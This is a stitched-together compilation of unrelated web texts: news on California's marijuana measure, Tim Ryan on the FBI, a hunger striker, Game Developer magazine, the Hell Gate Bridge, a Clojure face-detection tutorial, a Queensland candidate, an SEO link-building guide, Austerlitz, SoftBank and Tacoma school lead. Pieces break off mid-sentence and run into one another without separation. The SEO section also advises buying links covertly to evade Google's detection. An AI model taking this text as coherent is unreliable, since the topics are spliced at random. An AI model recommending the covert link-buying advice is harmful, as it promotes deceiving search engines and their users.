Silicon Valley tycoons and deep-pocketed donors with connections to the legal medical marijuana industry are among the top financial backers of a pro-pot campaign that has raised almost $17 million. Opponents have raised slightly more than $2 million, including a $1.4 million contribution from retired Pennsylvania art professor Julie Schauer.
Advocates on both sides say passage in California would likely ignite legalization movements in other states, especially when the tax dollars start adding up. California’s nonpartisan Legislative Analyst’s Office estimated the state could collect up to $1 billion a year in marijuana taxes.
“As California goes, so goes the nation,” said University of California, Berkeley political science professor Alan Ross.
If “yes” votes prevail across the country, about 75 million people accounting for more than 23 percent of the U.S. population would live in states where recreational pot is legal. The jurisdictions where that’s already the case — Alaska, Colorado, Oregon, Washington state and the District of Columbia — have about 18 million residents, or 5.6 percent of the population. Twenty-five states allow medical marijuana.
According to national polls, a solid majority of Americans support legalization. Gallup’s latest survey gauged support at 58 percent, up from 12 percent from when the question was first posed in 1969. Gallup says 13 percent of U.S. adults report using marijuana at present, nearly double the percentage who reported using pot in 2013.
California voters rejected an attempt to legalize recreational marijuana in 2010 after campaign leaders struggled to raise money and support for a four-page ballot measure hastily written by the owner of a small medicinal marijuana store.
This time, the 62-page ballot measure was crafted by political professionals and has the backing of many elected officials, including Lt. Gov. Gavin Newsom, who is running for governor in 2018. Current Gov. Jerry Brown says he’s close to announcing his position.
The measure would allow people 21 and older to legally possess up to an ounce of weed and grow six marijuana plants at home. Pot sales would be subject to various tax rates that would be deposited into the state’s Marijuana Tax Fund. Most of that money would be spent on substance-abuse education and treatment. Some would be used to repair environmental damage caused by illegal growers.
Opponents argue that the measure will do more harm than good by opening a marijuana market dominated by small farmers to corporate interests and encouraging children to use the drug through pot-laced sweets like gummy bears, cookies and brownies.
The proposal “favors the interests of wealthy corporations over the good of the everyday consumer, adopting policies that work against public health,” said Kevin Sabet, co-founder of the California-based advocacy group Smart Approaches to Marijuana.
Napster founder and early Facebook investor Sean Parker has contributed more than $3 million to the legalization effort, which has also attracted sizable contributions from an organization backed by billionaire George Soros and another backed by Weedmaps, which rates pot stores throughout the state.
“It’s a huge deal and it’s long overdue,” said Steven DeAngelo, owner of one of the nation’s largest medicinal marijuana dispensaries and a Proposition 64 supporter.
In most of the states with marijuana ballot measures, polls
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ounds obsolete, yet it doesn’t solve every known problem however.
From the perspective of Java 9, the new HTTP/2 client looks nice, however, it’s going to be production ready only in the next release. In the meantime, the aforementioned libraries above can be used if HTTP/2 support is needed.Rep. Tim Ryan (D-OH) told CNN's Wolf Blitzer on Saturday that we don't know where the documents that caused the FBI to reopen its probe into Hillary Clinton came from: "Where did they come from? How did the FBI get to them? Where are they? We have all this stuff going on with Russia right now. All the WikiLeaks stolen documents that we don't really even know if some have been manipulated. Why didn't the FBI have these documents through all of the other investigations that they went through on this?"
He concluded: "So the question is where did these documents come from? How did they get to the FBI? Is Russia involved in this? We don't have any clue of where this stuff is coming from!"
"While this will make news for sure," he said about the FBI's latest probe into Hillary Clinton. "I don't think it is going to have much of an effect on the election."
"I will say this," he said. "Where have these documents-- Where did they come from? How did the FBI get to them? Where are they? We have all this stuff going on with Russia right now. All the WikiLeaks stolen documents that we don't really even know if some have been manipulated. Why didn't the FBI have these documents through all of the other investigations that they went through on this?... There would have had to have been this huge conspiracy of 300 people in the State Department that would have been conspiring to release confidential information. Why didn't it come up in all of this? Hillary Clinton has been thoroughly vetted... The FBI chose not to do anything with the information and we have all moved on. So the question is where did these documents come from? How did they get to the FBI? Is Russia involved in this? We don't have any clue of where this stuff is coming from!"Some people are just beyond help.
At Canadian embassy, global warming protester nears starvation
By IAN DUNCAN — Tribune Washington Bureau
On a patch of pavement outside the Canadian Embassy, Jay McGinley is trying to starve himself to death.
After drinking nothing but water for more than 30 days, he appears close to achieving his goal. When he stands up, his dark blue sweater hangs from a wasted frame.
On the 21st day of his hunger strike, May 15, McGinley was hospitalized briefly when his kidneys almost failed. He returned to his post the next day. Wednesday would be his 36th day without food.
He demands that the United States stop using fossil fuels, particularly those harvested from tar sands deposits in Canada. He is confident that if 1,000 people were to die for his cause, the government would act.
“I need to get us from 1,000 to 999 as fast as possible,” he said. “I need to blaze that trail.”After over 19 years of disseminating the best strategies around the art, science and business of video games, our hearts are heavy to announce that, as of July 2013, Game Developer magazine will stop printing its physical edition, and transition to become a section in Gamasutra.The final issue sent to print subscribers will be the June/July 2013 issue, and the Game Career Guide special issue, disseminated to events including PAX Prime and GDC, will be the final physical issue available.The magazine will also be ceasing distribution of digital issues, but will start to gradually transition its complete legacy content onto sister website Gamasutra's 'Game Developer on Gamasutra' section for free, where we also hope to continue publishing new-centric content from some of our regular contributors.If you are currently a paid subscriber (either digital or physical) of the magazine, we will contact you over the next few days with options for either refunding or fulfilling the remainder of your subscription with an alternative product.We've made the decision to shift away from print as part of a wider strategy change in our parent company UBM Tech, which is simultaneously shifting other print publications either to digital only or to website-specific content, orienting them to help support our growing community-centric events such as Game Developers Conference.However, we will conduct's major research (such as the Salary Survey) as part of Gamasutra's remit going forwards, as well as continuing to print historical and newly sourced game postmortems on Gamasutra.Finally, a special thank you to all of the EICs of the publication over its almost two decades - including, but absolutely not limited to Larry O'Brien, Mark DeLoura, Alex Dunne, Jennifer Olsen, Simon Carless, Jamil Moledina, Alex Handy, Brandon Sheffield, and Patrick Miller, and our hundreds of contributors over the years - especially stalwart columnists such as (but again, not limited to), Mick West, Chris Hecker, Steve Theodore, Jesse Harlin, Jon Blow, Noah Falstein, Matthew Wasteland, and so many more. And thanks for reading - we'll miss you.If you have any immediate questions or issues, or would like to pass along your memories of Game Developer magazine to print in our last physical issue, please comment below or contact us via [email protected] - we really want to hear from you about what the magazine has meant to you.: Clarified headline: while the 'Game Developer on Gamasutra' section will continue with old and hopefully new content being posted on the website, there will be no 'digital magazine' produced after July.]The Hell Gate Bridge, originally the New York Connecting Railroad Bridge[2] or the East River Arch Bridge,[3] is a 1,017-foot (310 m)[a] steel through arch railroad bridge in New York City. The bridge crosses the Hell Gate, a strait of the East River, between Astoria in Queens and Randalls and Wards Islands in Manhattan.
The bridge is the largest of three bridges that form the Hell Gate complex. An inverted bowstring truss bridge with four 300-foot (91.4 m) spans crosses the Little Hell Gate, a former strait that is now filled in, and a 350-foot (106.7 m) fixed truss bridge crosses the Bronx Kill, a strait now narrowed by fill. Together with approaches, the bridges are more than 17,000 feet (3.2 mi; 5.2 km) long.[4] The designs of the Tyne Bridge in Newcastle, England, and the Sydney Harbour Bridge in New South Wales, Australia, were derived from the Hell Gate Bridge.[5] The Sydney Harbour Bridge, however, is about 60% larger than the Hell Gate Bridge.[6]
History [ edit ]
Bridge under construction circa 1915 Bridge seen circa 1917 Truss bridge segment over Bronx Kill The bridge as seen from a cricket field on Wards Island
The bridge was conceived in the early 1900s to link New York and the Pennsylvania Railroad (PRR) with New England and the New York, New Haven, and Hartford Railroad (NH).[7] In June 1906, the NH applied for and received a franchise to operate trains from the northeastern suburbs of New York City to Pennsylvania Station in Midtown Manhattan, built by the PRR. The New Haven would be able to accomplish this by constructing a spur from the four-track New Haven Railroad and New York Central Railroad main line in the Bronx (these railroads are now respectively the modern-day New Haven Line and Harlem Line of the Metro-North Railroad). The spur, now the Port Morris Branch, would split north of Melrose station in the South Bronx, then merge with the Harlem River and Port Chester Railroad (HR&PC; now part of the Northeast Corridor) just north of the Harlem River. The HR&PC would pass from the Bronx to Queens via the Hell Gate Bridge, then continue south through Queens, eventually connecting to the East River Tunnels and Penn Station.[8] As part of the plan, the Hell Gate Bridge would carry four tracks, which would connect to the NH's four-track lines on either side of the Hell Gate.[9]
Construction was overseen by Gustav Lindenthal, whose original design left a gap of 15 feet (4.6 m) between the steel arch and the masonry towers. Fearing that the public assumed that the towers were structurally integral to the bridge, Lindenthal added aesthetic girders between the upper chord of the arch and the towers to make the structure appear more robust.[10] The original plans for the piers on the long approach ramps called for a steel lattice structure. The design was changed to smooth concrete to soothe concerns that asylum inmates on Wards and Randall's islands would climb the piers to escape.[10]
The engineering was so precise that when the last section of the main span was lifted into place, the final adjustment needed to join everything together was just 5⁄ 16 inch (7.9 mm). Construction of the Hell Gate Bridge began on March 1, 1912 and ended on September 30, 1916.[11] The bridge was dedicated and opened to rail traffic on March 9, 1917,[1] with Washington–Boston through trains first running on April 1.[12] It was the world's longest steel arch bridge until the Bayonne Bridge opened in 1931.[13]
During World War II, it was among the dozen or so targets of economic value of significant enough importance to attract the attention of Nazi German sabotage planners. The Nazis' Operation Pastorius landed German agents on American soil in 1942 in hopes of wrecking the bridge and other key targets. (Operation Pastorius failed due to detection of some landing activity by US shore patrols and subsequent defections among some of the German landing team's members to the Allied side.)[14]
In the 1990s, the bridge was repainted for the first time since it opened. It was painted a deep red called "Hell Gate Red". Due to a flaw in the paint, however, the red color began to fade before the work was completed, leading to the bridge's currently faded, splotchy appearance.[15]
The bridge could last for at least a millennium, according to the February 2005 issue of Discover magazine. Most other bridges would fall in about 300 years.[16]
Usage [ edit ]
Trackage [ edit ]
The bridge originally carried four tracks, two each for passenger and freight, but one freight track was abandoned in the mid-1970s. At one time, all tracks were electrified with the 11 kV, 25 Hz overhead catenary, the standard of NH and PRR. The passenger tracks have been electrified since 1917, and the freight tracks from 1927 to 1969, using Amtrak's 25 Hz traction power system.
Fares [ edit ]
Some passengers paid to use the bridge; some fares over the bridge were higher than the usual fares for the same mileage.[17] In September 1940, coach fares were two cents per mile, so Boston to New York was $4.60, the same to Grand Central Terminal or to Penn Station. But Boston to Washington, D.C. was $10.00 instead of the expected $9.10; for a few decades after 1920, 90 cents was added to all fares via Hell Gate except tickets to New York itself. In April 1962, New Haven to New York cost $3.43, New York to Philadelphia cost $3.91, and New Haven to Philadelphia was $8.24. (1962 fares do not include federal tax, then 10 percent.)
Current use [ edit ]
The bridge and structure are owned by Amtrak, and lies in the New York Terminal District, part of its Boston to Washington, D.C. electrified main line known as the Northeast Corridor. The bridge's two west most tracks are electrified with 12.5 kV 60 Hz overhead power and are used by Amtrak for Acela Express and Northeast Regional service between New York and Boston. In September 2009, the Metro-North Railroad's Train to the Game services, operated by New Jersey Transit from key stations on the New Haven Line to Secaucus Junction, started using the bridge during every Sunday Giants or Jets NFL game at MetLife Stadium. However, this service was suspended by 2017.[18]
The bridge is also part of the New York Connecting Railroad, a rail line that links New York City and Long Island to the North American mainland. The third track forms part of the CSX Fremont Secondary and carries CSX, Canadian Pacific and Providence & Worcester Railroad freight trains between Oak Point Yard in the Bronx and Fresh Pond Yard in Queens, where it connects with the New York and Atlantic Railway.[19][b]
In September 2009, Metro-North revived its planning efforts for its Penn Station Access project, which would use the Hell Gate Bridge to connect the New Haven Line to Penn Station.[20] Such a service would terminate at Penn Station on platforms freed up by the planned completion of the Long Island Rail Road's East Side Access tunnel to Grand Central Terminal, which is scheduled for completion in late 2022.[20] If the plan is implemented, through-running between the New Haven Line and New Jersey Transit would be possible, linking business centers in Connecticut and New Jersey while providing access to Newark Liberty International Airport.[21] The draft Environmental Assessment was expected to be available for public review in late 2018.[22] At the MTA's Metro-North Railroad Committee meeting on January 22, 2019, it was announced that Amtrak and the MTA had reached an agreement regarding track usage rights, and $35 million was approved for initial engineering design work.[23][24][25]
This photograph appears to have been taken from the top of the north tower of the Hell Gate Bridge itself. The view looks north toward the construction site of the bridge over [26] 2007 photo:[27]), which forms part of the northern approach to the Hell Gate Bridge proper. The approach to Hell Gate bridge under construction circa 1915.This photograph appears to have been taken from the top of the north tower of the Hell Gate Bridge itself. The view looks north toward the construction site of the bridge over Little Hell Gate (location:,2007 photo:), which forms part of the northern approach to the Hell Gate Bridge proper.
See also [ edit ]
References [ edit ]
Notes
^ The arch is 1,087.5 feet (331.5 m) measured center to center of the concrete towers. ^ [19] Long Island's railways only have two direct connections to the mainland. The other link to the mainland is via Penn Station, which goes through Manhattan first to get to the mainland. There is also a rail freight barge service between Brooklyn and New Jersey operated by New York New Jersey Rail, LLC
Citations
Further readingFun with Clojure, OpenCV and Face Detection
I have been meaning to play with OpenCV for a while now, the other night, I had some time to kill so I decided to play with it. OpenCV is a computer vision library originally developed by Intel. It focuses mainly on real-time image processing. I assumed by now there are a lot of Java libraries for OpenCV but as it turns out there is only one, and it is a Processing library. It works with Java out of the box but for Clojure it takes a little more effort.
Grab the OpenCV library, they provide both OpenCV library and Java bindings. Install OpenCV and copy Java bindings to your extensions folder. OpenCV library has two constructors,
OpenCV() Create a new OpenCV instance. OpenCV(processing.core.PApplet parent) Create a new OpenCV instance.
First constructor is for Java and second one is for Processing, if you try to initialize it from Clojure, it will fail trying to locate PApplet class which is distributed with Processing or Arduino IDEs. Install either one of them, grab core.jar that comes with it and copy that to your extensions folder also.
Alex in the comments mentioned, incanter package contains Processing library, you can just grab it from them instead of installing Arduino or Processing. It is located in the deps.zip file.
First we need to configure OpenCV object,
( ns face-detect ( :import (javax.swing JFrame JLabel Timer) (java.awt.event ActionListener KeyAdapter) (java.awt Canvas Image Color) (java.awt.image MemoryImageSource) (hypermedia.video OpenCV))) ( def frame-rate (int 1000/30)) ( def width 640) ( def height 480) ( defn vision [] ( doto (OpenCV.) (.capture width height) (.cascade OpenCV /CASCADE_FRONTALFACE_ALT)))
We will be capturing from the default webcam and using the FRONTALFACE description file. You can supply your own for detecting other stuff besides faces.
( defn capture-image [vis] (.read vis) ( let [mis (MemoryImageSource. (.width vis) (.height vis) (.pixels vis) 0 (.width vis))] (.createImage (Canvas.) mis)))
Before processing we need to grab a new frame from the camera, we also build a Image from the data we read to be painted on a component.
( defn detect-face [vis] (.detect vis 1.2 2 OpenCV /HAAR_DO_CANNY_PRUNING 20 20))
Now we are ready to detect object(s) in the current image depending on the current cascade description. detect will return an array of rectangles where faces are detected.
( defn capture-action [vis panel image faces] (proxy [ActionListener] [] (actionPerformed [e] ( dosync (ref-set image (capture-image vis)) (ref-set faces (detect-face vis))) (.repaint panel)))) ( defn panel [image faces] (proxy [JLabel] [] (paint [g] (.drawImage g @image 0 0 nil ) (.setColor g Color /red) ( doseq [square @faces] (.drawRect g (.x square) (.y square) (.width square) (.height square))))))
With every tick of the timer, we will grab a new frame from the camera, detect faces in the image then repaint the panel to reflect changes.
( defn key-listener [vis timer] (proxy [KeyAdapter] [] (keyReleased [e] (.stop timer) (.dispose vis))))
You need to properly dispose of OpenCV object or bad things will happen, you are warned. Just listen for a key event, when the event occurs stop the timer and dispose the OpenCV object.
( defn main [] ( let [vis (vision) image (ref (capture-image vis)) faces (ref (detect-face vis)) panel (panel image faces) timer (Timer. frame-rate (capture-action vis panel image faces))] (.start timer) ( doto (JFrame.) (.add panel) (.addKeyListener (key-listener vis timer)) (.setSize width height) (.show))))
When components assembled and timer started, it'll start detecting faces.Qld Labor candidate expelled after homophobic rant
Updated
Teenage Queensland ALP candidate Peter Watson has been expelled from the party after admitting to a series of anti-gay rants on the internet.
Mr Watson was forced to resign as Labor's candidate for the Southern Downs electorate last night, after linking homosexuality to paedophilia in website postings made around four years ago.
This morning, the ALP said in a statement Mr Watson had also been expelled from the party.
The 19-year-old admitted to ABC Radio's AM program earlier this morning that he did write the posts.
"I said that homosexuality and paedophilia were linked because there's been some research done... and it's been published by the Catholic Church, that suggests that 30 per cent of male paedophiles are homosexual," Mr Watson said.
"I made the comments, so I do agree with it.
"These comments I made about homosexuals were made when I was like 14, 15 years old, so we're talking about four, five years ago.
"[But] I do agree in some sense.
"Research - and it's been published by the Catholic Church - that suggest that 30 per cent of male paedophiles are homosexual."
Mr Watson's posts also described homosexuals as "social degenerates" and accused them of destroying society's values.
"They do - in a sense homosexuality does degrade our society's values," he told AM.
Mr Watson said an initial denial in a statement from the ALP last night was issued because at the time he was not "actually aware of what allegations people were talking about".
Mr Watson also explained how he got the party nomination.
"A person from the party office in Brisbane came to Warwick," he said.
"We held meetings and there were only two people who put their hands up. Then she dropped out, and I was the one that got the nomination.
"A person went to my house. We had a bit of a chat and then I just filled out a few forms and that was it."
Labor's state secretary Anthony Chisholm had said in an earlier statement that Mr Watson had denied the allegations to party officials.
"That's what he told our officials at the time, clearly he has had a change of mind on those matters," he said.
"Clearly the decision to ask for his resignation was the correct one."
'Unacceptable opinions'
This morning the ALP expelled Mr Watson, with Mr Chisholm saying the Labor Party could "not tolerate these types of extreme views".
"When Peter Watson was endorsed as the candidate for Southern Downs late last year, we were unaware of his extreme and unacceptable opinions," he said.
"Late yesterday, Peter Watson maintained to party officials the allegations against him were false.
"Now he has admitted to being the author of this material, the party has acted swiftly in response."
Queensland's Deputy Premier Andrew Fraser says Mr Watson kept his views from party officials.
"Clearly if we had have known about these things then he wouldn't have been the candidate," he said.
But the Liberal National Party (LNP) says Labor should be embarrassed about endorsing Mr Watson.
Clearly if we had have known about these things then he wouldn't have been the candidate. Deputy Premier Andrew Fraser
LNP MP Lawrence Springborg, who Mr Watson was standing against, has questioned the ALP's screening procedures for candidates.
Mr Springborg says a simple Google search would have uncovered Mr Watson's views.
"What checking did they do when anyone could go out there, blind Freddy could actually find this particular information - it was out there for all to see," he said.
"Labor were actually denying it as late as last night."
Out of date
A leading gay rights activist has welcomed Mr Watson's expulsion from the ALP.
Shelley Argent from the Parents and Friends of Lesbians and Gays says that was the right thing to do.
"His views on homosexuality are just so wrong, and also his views on being a white nationalist or whatever he likes to call himself, again are just so wrong and just so out of date that I don't think any party needs him - LNP or Labor," she said.
Labor is now using the controversy to pressure LNP leader Campbell Newman to sack his candidate for Cairns in the state's far north.
LNP candidate Gavin King once wrote a newspaper column suggesting that women who drink to excess are partly to blame for sexual assaults.
The State Government says Labor has acted decisively in sacking Mr Watson over his extreme views and Mr Newman should follow suit.
But Mr Newman says Mr King is a good person.
"He has apologised for an article he wrote about four years ago where he made some comments which were actually about warning young women about their personal safety," he said.
"Instead we have today a situation where someone in the Labor Party has made totally inappropriate comments that everyone should reject."
Topics: alp, states-and-territories, elections, warwick-4370, toowoomba-4350, australia
First postedLocal links for businesses are a coveted item and fulfilling an effective local link building campaign can be a daunting task but it doesn’t have to be. Since we do a lot of real estate SEO, we spend a lot of time in the local netherworlds and have a few great ways to generate some link gold (awwwwww yeaaaaaa). The great thing is that you can absolutely dominate your local niche if you do a few things right. Our ideas should absolutely be expanded upon and hopefully they help you find your local link gems with little effort. The basis though, as should be true of all campaigns, is about building relationships with those that matter!
Local link building also shouldn’t take up a huge amount of your time, something that’s quite refreshing; It’s not like you’re going after the keyword “credit cards” or something insane. If you’re in the bigger cities, then you do have an obvious challenge ahead, but that also means that there are more link targets to snipe! We’ll also make sure to take a look at the link bait options as well as what you can do to build links yourself straight away. I know Google doesn’t like the latter but you gotta do what you gotta do!
The local link building game is, in my humble opinion, about three different types of links. This mix involves hitting up all the usual suspects such as:
1) Regular nofollow/followed links
2) Social media links eg. bit.ly
3) Citations even if it’s only a business name or the url typed out without it being “hyper”
This is all natural “web doings” for any business, so we shouldn’t have a problem here. I’ll also talk about what we see trend-wise in the local link building arena and talk about how other local businesses can do most of your link building for you – Yes you did read that correctly!
Sniffing For Backlinks :
After 6 years of viewing link profiles in local markets, I can tell you two things that are still dominating for rankings. These two are pretty obvious and in the end, pretty sad:
1) Local business directories work well
2) Links from local bloggers are awesome
There are, however, two positives that come from these two things: You can take better tactics and build WAY BETTER links than those. The other positive? Building those links is relatively easy and you can make a lot of headway in just a few months time. I know a lot of local businesses don’t have a lot of spare time to market themselves, let alone build a few dozen links. So, for the first month you go at it all you’ll need to arm yourself with is a link analysis tool.
It’s pretty obvious I’m going to tell you to pull the links of every competitor in your vertical, true! But there’s more! You’re in a local market and there are tons of other places you’ll be able to get a link from. So sit down, break out a pen and pad (what’s that?) or your laptop, and write down a dozen other local business categories. I’ll bite and give a few examples such as plumbers, lawyers, mortgage brokers, local webmasters and even local SEO consultants. Sniffing their links out will always lead to other local link finds, I guarantee it!
Local Directories:
This is the easiest and first place you should look for links, even though I’m slightly embarrassed to be recommending directories in this day and age. The truth is, in the local scene they’re an asset. You also have a plethora of options to rock out with and it can keep your link building fingers going for a while. There are always the hyper local directories that have been around for years. As well, there are plenty of the big guys that serve the local market. I’ll only provide a small sample of links because everyone and their mother has lists for this already.
Hyper Local Link Directories:
– $cityname business directory
– $cityname web directory
– $cityname directory
– $cityname local business links
“Big Boy” Local Link Directories:
– Yelp.com
– Local.BOTW.org
– Google Places
– Bing Local business
– MerchantCircle.com
– MyCity.com
– YellowPages.com
– http://blog.hubspot.com/blog/tabid/6307/bid/10322/The-Ultimate-List-50-Local-Business-Directories.aspx
Because You’re a Business:
Since you’re a business there are a good amount of other link building opportunities to take advantage of. We’ll kick off the thought process for you, but you’ll really need to take what you learn here and dig deeper. The rabbit hole sometimes goes way down and you’ll really have to work at it.
Chamber Of Commerce – This can always lead to a really strong link and definitely comes with a fee… well usually anyway. You’ll also find that if you get linked here, other websites will use that data to fill out their link pages or if they happen to write about your market. It really can lead to good things!
Business Associations – Becoming a member of a local organisation is not only essential for a local business, it can provide one helluva link. Memberships usually come with a fee, but for the networking alone I’d recommend it. In fact, I demand you do it! (Good)Links are all about relationships and I almost can’t think of a better way to do it in a local market.
Meetup.com – I’m a huge fan of this social networking site and running an event not only leads to a great link, it leads to business. If you’re speaking at your event or have a guest speaker, the chances are good that you’ll get attendees blogging about it and linking away.
Local Event Listings – If your business can put on a function, you best be making sure you’re getting links for it. For an example, my hometown’s local business site lists events and links to the homepage for whomever is putting it on. You can also list to the big event sites like Eventful.com for some great exposure as well as a link! Check out our old post on event link building for way more awesomness.
Company Directories – While these may not be local sites, they’re usually good because they’re listed by Country and area. Sites like Manta.com and Company.com are great business directories to get into. There are also a lot more sites out there like them so check that link and do some snooping of your own.
Local Media Networking:
Getting a mention in the local media requires not only some skill, but something worthy of a link/mention/citation. Getting mentioned the easy way requires you to do something horrific that they just can’t refuse talking about. Perhaps that’s not the best route, however. Getting links from this area requires networking, time and patience. If you’re not doing anything exceptional in business, then skip this part and move along.
Finding Your Connections:
It’s easier than ever to connect with people via social media so there’s no excuse not to try reaching out to local media influencers. This works the same for the local blogger as well as your newscaster. There are three obvious places to start and, while I’m reluctant to reiterate, I might as well for the increased word count.
Twitter – This is an obvious one and all you need to do is follow and get noticed. Start retweeting, asking questions and being interested in your targets. Make sure to utilise sites like WeFollow.com to easily find the most influential people in your area. I also like to check for the local new’s twitter account to scout of followers and lists they’re involved with. This always leads to finding the key people I need to associate with.
Facebook – Almost every news site has a Facebook page and it can be a great place to start networking. You also don’t want to come off as a spammer, so don’t sign up to just post your latest blog link. You’re going to have to be crafty, participate and perhaps find a way to cover a hot news topic on your blog.
LinkedIn – Here’s a great way to connect with local media types and build some trust levels up. You’re golden if they accept a friend request so just make sure your profile is professional, clear and appealing. I’d also check out any groups that person is in as it opens a door. Perhaps there’s even a local media group worth checking out.
Bloggers – All I an say about this is either try and get interviewed from a local business blog or podcast. If you can’t initially, why don’t you interview someone more prominent with your area who can push social followers your way? They’re going to promote the interview to their fans and this can only do good things for your marketing efforts.
Press Release Strategy:
Make a list of all the local news sites and see which ones are picking up on press releases, especially ones with links in them. While dupe PR may not be the best of links, you still might as well get all you can out of it. You’re going to have to whip out your backlink analyzer of choice and reverse engineer the press releases. I like to have every little bit of information so I can try and game my clients release getting on that news site. It’s not hard, just look for what service it was launched with. See if they have geo-targeting options and even what tags they used with the release.
Those in larger cities will have better luck with this. To give you all an example, The Miami Herald has an area for press releases and they do provide links within the release. Sometimes going this route is much easier and quicker than building connections up, but do both or I’ll be upset with you as a marketer!
Getting Legit.Gov/.EDU Links:
Everyone and their mother wants these links but most of you folks pay some shady link broker to sneak them in. When it comes to the local market it doesn’t require any money to snag these links, just good content, time and a little creativity. There are a few easy ways to score some local.edu and.gov links and I’ll drop a few methods. After that, you’ll have to scour their websites to see what they’re linking out to and how you can create linkable content. They’re definitely some of the hardest links to obtain, so don’t give up and do the best you can.
Links For Jobs – This is a great way to score some natural links from either your local government or university. A lot of.edu’s have local job boards and hiring local students to do work is great for everybody involved. Government sites tend to also have job boards so do your best to sniff things out. You’ll have to watch out for https job postings and weakly linked job pages that don’t index well. Also keep an eye out for job/career fairs because they usually provide links to the participants.
Guest Speaking @ School – This has worked for me personally and it’s a great way to not only score some links, but become a local business leader. Connect with the department heads that relate to your business and offer yourself out. You never know what’ll come of it!
Reciprocal Linking:
Yea I said it, so what? Google’s quite clear that recip linking for the purpose of passing PageRank is a no-no, but that’s not what I’m talking about here. A well designed, uniquely named links/resources page for your area can really do you some good and provide users with a piece of useful content. I’m talking about only one or two dozen links on the page backed with unique content, but most importantly, never game any anchor text.
A lot of people think that reciprocal linking is a waste of time and are dead wrong when it comes to ranking locally. I’m coming from years of experience as well and we have clients surviving and thriving thanks to this link profile diversification. Like any tactic, you don’t want to rely solely on it, you don’t want to game anchor text and you want to link to and from quality related sites only.
While I might get some flack for what I’m about to say, I’d even recommend buying links on related, local businesses resource pages. If you just stick to getting a site/brand name link, mix some up with nofollow and pick really quality sites, you’ll do just fine. Sometimes you’ve got to get your hands dirty and if you do, be damn sneaky about it! There’s no way Google’s going to be able to tell it’s a paid link unless the webmaster rats you out. But even in that case, nothing is likely to happen because they might get penalized for selling links. As long as your link profile is diverse, clean and not too spammy, you’ll be fine. If worse comes to worst, Google just devalues those links.
Guest Blogging & Blog Commenting:
Local blogs are a great place to build relationships, get some links and build up your brands awareness. This can be done by guest blogging, commenting like a boss on a really good post or doing an interview on your blog with someone influential. I recommend doing all of those tactics because they work great and add a good link diversity to your profile. Not only that but you start to really build your brand within the community, make friends and have fun all at the same time.
Do’s:
– link to other local influential bloggers a lot
– write as much as you can and contribute somthing to the discussion when commenting
– use link bait such as infographics and widgets to score links from local blogs
– blog about local hot topics to attract social traffic
– build a good local Twitter and Google+ follower set to influence the SERPs
– do crowdsourced content locally when possible
Do Not:
– use keyword anchor text for your “name” when commenting
– steal copyrighted images for your posts
– slander another business as this never works out well
– comment on lousy obvious spam blog posts
– syndicate content from other sources in your area
Build It And They Will Come:
This is some of the best web advice out there! Keep blogging, networking and inspiring and the links will follow along with the business. These core tactics and fundamentals should be enough to dominate any local marketing effort within 6-12 months. Don’t give up and once you find your groove, there’s no stopping you; Only you can get in the way at that point. If anyone has any specific local link building tips then you know what to do, drop them in the comments below!In 1995, nine months after South Africa’s first democratic election, I was living in Cape Town. I’d gone there from my home in London to spend time with my father, then dying of cancer, and also to begin research on my family memoir. It was the best of times for South Africa. A civil war had been averted; political violence, which had flared even brighter after Mandela’s release, had been overcome; and by wearing the green shirt and cap of the Springboks rugby team, President Nelson Mandela had even managed to turn a victory of one of apartheid South Africa’s most beloved symbols into the triumph of the rainbow nation.
To be a writer is perhaps to be close to what is happening and simultaneously out of step with it, and so it was for me in 1995. Instead of cataloging the future unfolding, I was preoccupied by the past. I had already set
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the frozen ponds at their backs. The coalition soldiers tried to flee over the ice, but it broke under the French bombardment, and the retreat became a rout. Sometime after 4 p.m. the guns fell silent; the Battle of Austerlitz was over. The coalition forces had lost a staggering 29,000 men dead, wounded or captured, along with most of their guns and equipment. The Grande Armée had suffered fewer than 8,300 dead or wounded and some 600 prisoners. Recorded Langéron: ‘The fact is that neither the regiments, nor the commanders, nor the generals had the necessary experience to resist the veteran warriors of Napoleon, that it was a great error to confront them and an even greater error to believe that we had only to present ourselves to defeat them.’ Three days after the battle, Emperor Francis II, disgusted with Tsar Alexander and his Russians, signed an armistice with France. Alexander, disgusted with Francis II and his Austrians, limped away to the east. The Third Coalition collapsed. On December 26, 1805, France signed the Peace of Pressburg with Austria. By the treaty Austria lost Venice, Istria and Dalmatia to France, and the Austrian Tyrol to Bavaria. Napoleon I, emperor of the French, 10 years before an unknown French general, was on his way to becoming master of Europe. This article was written by James W. Shosenberg and originally published in the December 2005 issue of Military History magazine. For more great articles be sure to subscribe to Military History magazine today!
Sponsored Content:Nikesh Arora, the former Google executive who is now president of SoftBank, said that he's not worried about the continued concerns over the future Sprint, of which SoftBank is the majority owner. "I'm very relaxed," Arora told Bloomberg. "I'm here for at least the next 10 years."
In an extensive profile on Arora, Bloomberg reports that Arora as a child left India with only $200 in cash. Today, he is working to transform SoftBank into an innovative investment company that isn't afraid to take risks. "As long as I can protect my family, I have no problem taking the risk," Arora explained.
According to Bloomberg, Arora is currently hiring a team of up to 20 executives, from the likes of Google and LinkedIn, to invest about $3 billion into startups each year. He plans to make five to 10 investments a year of $100 million to $1 billion. The goal, according to Arora, is to transform SoftBank from a Japanese telecommunications company with a spotty investment record and into an innovation powerhouse. Article0 Six Tacoma schools now reporting lead in drinking water
High lead levels have been reported at four additional schools in Tacoma Tuesday morning.
School district officials said there are high levels of lead in isolated spots at Whittier, Delong and Manitou Park elementary schools, along with Madison Head Start Program, which is a part of Tacoma Public Schools.
Key Developments: Some water tested as high as some of the homes in Flint Michigan’s water crisis. Explanation of level ranges below.
Tests were conducted nearly a year ago, but results weren't reviewed by district until Friday. Monday night, a district team discovered 4 more reports.
The district says the problem isn't the water itself but may be the faucets and fixtures in the school.
Tacoma Schools has placed an employee on paid administrative leave pending investigation for water quality testing and reporting.
The district shut off all water sources and handed out bottled water to students and staff members at Horace Mann and Jennie Reed. Bottled water has been ordered for the four other schools.
Samples were taken at Horace Mann and Jennie Reed schools Tuesday morning.
All schools in the city will be tested for lead contamination. Testing will take several weeks to complete.
Find team coverage, resources on lead in water at this link.
Tacoma Public Schools decided to test their own water after lead was found in four homes near Lincoln High School.
The lead levels prompted advisories in Tacoma and Seattle for public utility customers to run their tap water before drinking it. That contamination is being caused by old gooseneck fittings connecting the homes to the water main. What's causing the high lead levels at the schools isn't known.
The announcement about problems at additional schools comes after lead testing was done at Mann and Jennie Reed elementary school early Tuesday morning. The testing was done after Tacoma Schools found two results from May 2015 that had not been reviewed. Results “showed unacceptable levels of lead in the water,” according to the district.
The district has announced that, because of the test results, all schools in the city will be tested for lead contamination. © 2019 Cox Media Group.
